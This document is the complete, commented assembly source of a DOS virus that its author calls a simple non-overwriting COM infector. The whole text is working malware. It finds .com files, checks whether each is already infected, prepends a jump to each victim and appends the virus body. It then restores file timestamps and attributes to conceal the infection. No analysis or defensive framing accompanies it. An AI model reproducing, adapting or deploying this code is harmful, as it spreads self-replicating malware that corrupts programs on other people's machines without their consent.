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- ;******************************************************************
- ;* *
- ;* My First Virus, a simple non-overwriting COM infector *
- ;* *
- ;* by, Solomon *
- ;* *
- ;******************************************************************
- .model tiny ; Memory model
- .code ; Start Code
- org 100h ; Start of COM file
- MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
- START_VIRUS proc near ; Real start of Virus
- call FIND_OFFSET
- ; Calculate change in offset from host program.
- FIND_OFFSET: pop bp ; BP holds current IP
- sub bp, offset FIND_OFFSET ; Calculate net change
- ; Change BP to start of
- ; virus code
- ; Restore original bytes to the infected program.
- lea si,[bp+ORIG_START] ; Restore original 3 bytes
- mov di,100h ; to 100h, start of file
- push di ; Copy 3 bytes
- movsw
- movsb
- ; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
- ; original command line parameters.
- lea dx,[bp+NEW_DTA] ; Point to new DTA area
- call SET_DTA ; Go change it
- ; DOS Findfirst / Findnext services
- FINDFIRST: mov ah,4eh ; DOS find first service
- lea dx,[bp+COM_MASK] ; Search for any COM file
- xor cx,cx ; Attribute mask
- FINDNEXT: int 21h ; Call DOS to do it
- jc QUIT ; Quit if there are errors
- ; or no more files
- ; Ok, if I am here, then I found a possible victim. Open the file and
- ; check it for previous infections.
- mov ax,3d00h ; DOS Open file, read only
- lea dx,[bp+NEW_DTA+30] ; Point to filename we found
- int 21h ; Call DOS to do it
- xchg ax,bx ; Put file handle in BX
- ; Check file for previous infection by checking for our presence at
- ; then end of the file.
- mov ah,3fh ; DOS Read file
- lea dx,[bp+ORIG_START] ; Save the original header
- mov cx,3 ; Read 3 bytes
- int 21h ; Call DOS to do it
- mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX
- mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
- add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
- cmp ax,cx ; Compare file size's
- jnz INFECT_COM ; If healthy, go infect it
- mov ah,3eh ; Otherwise close file and
- int 21h ; try to find another victim
- mov ah,4fh ; DOS find next file
- jmp short FINDNEXT ; Find another file
- ; Restore default DTA and pass control back to original program.
- ; Call any activation routines here.
- QUIT: mov dx,80h ; Restore original DTA
- call SET_DTA ; Go change it
- retn ; End Virus and start original
- ; Program. Remember, DI holding
- ; 100h was pushed on the stack.
- ;*** Subroutine INFECT_COM ***
- INFECT_COM:
- ; Reset the file attributes to normal so I can write to the file
- mov ax,4301h ; DOS change file attr
- xor cx,cx ; Zero attributes
- lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA
- int 21h ; Call DOS to do it
- ; Calculate jump offset for header of victim so it will run virus first.
- mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
- sub ax,3 ; Subtract 3, size-jmp_code
- mov word ptr [bp+JMP_OFFSET],ax ; Store new offset
- ; Close the file and reopen it for read/write. BX still holds file handle.
- mov ah,3eh ; DOS close file
- int 21h ; Call DOS to do it
- mov ax,3d02h ; DOS open file, read/write
- int 21h ; Call DOS to do it
- xchg ax,bx ; Put file handle in BX
- ; Write the new header at the beginning of the file.
- mov ah,40h ; DOS write to file
- mov cx,3 ; Write 3 bytes
- lea dx,[bp+HEADER] ; Point to the 3 bytes to write
- int 21h ; Call DOS to do it
- ; Move to end of file so I can append the virus to it.
- mov al,2 ; Select end of file
- call FILE_PTR ; Go to end of file
- ; Append the virus to the end of the file.
- mov ah,40h ; DOS write to file
- mov cx,END_VIRUS-START_VIRUS ; Length of virus
- lea dx,[bp+START_VIRUS] ; Start from beginning of virus
- int 21h ; Call DOS to do it
- ; Restore the file's original timestamp and datestamp. These values were
- ; stored in the DTA by the Findfirst / Findnext services.
- mov ax,5701h ; DOS set file date & time
- mov cx,word ptr [bp+NEW_DTA+22] ; Set time
- mov dx,word ptr [bp+NEW_DTA+24] ; Set date
- int 21h ; Call DOS to do it
- ; Restore original file attributes.
- mov ax,4301h ; DOS change file attr
- mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
- lea dx,[bp+NEW_DTA+30] ; Point to file name
- int 21h ; Call DOS
- ; Lastly, close the file and go back to main program.
- mov ah,3eh ; DOS close file
- int 21h ; Call DOS to do it
- jmp QUIT ; We're done
- ;*** Subroutine SET_DTA ***
- SET_DTA proc near
- mov ah,1ah ; DOS set DTA
- int 21h ; Call DOS to do it
- retn ; Return
- SET_DTA endp
- ;*** Subroutine FILE_PTR ***
- FILE_PTR proc near
- mov ah,42h ; DOS set read/write pointer
- xor cx,cx ; Set offset move to zero
- cwd ; Equivalent to xor dx,dx
- int 21h ; Call DOS to do it
- retn ; Return
- FILE_PTR endp
- ; This area will hold all variables to be encrypted
- COM_MASK db '*.com',0 ; COM file mask
- ORIG_START db 0cdh,20h,0 ; Header for infected file
- HEADER db 0e9h ; Jmp command for new header
- START_VIRUS endp
- END_VIRUS equ $ ; Mark end of virus code
- ; This data area is a scratch area and is not included in virus code.
- JMP_OFFSET dw ? ; Jump offset for new header
- NEW_DTA db 43 dup(?) ; New DTA location
- end MAIN
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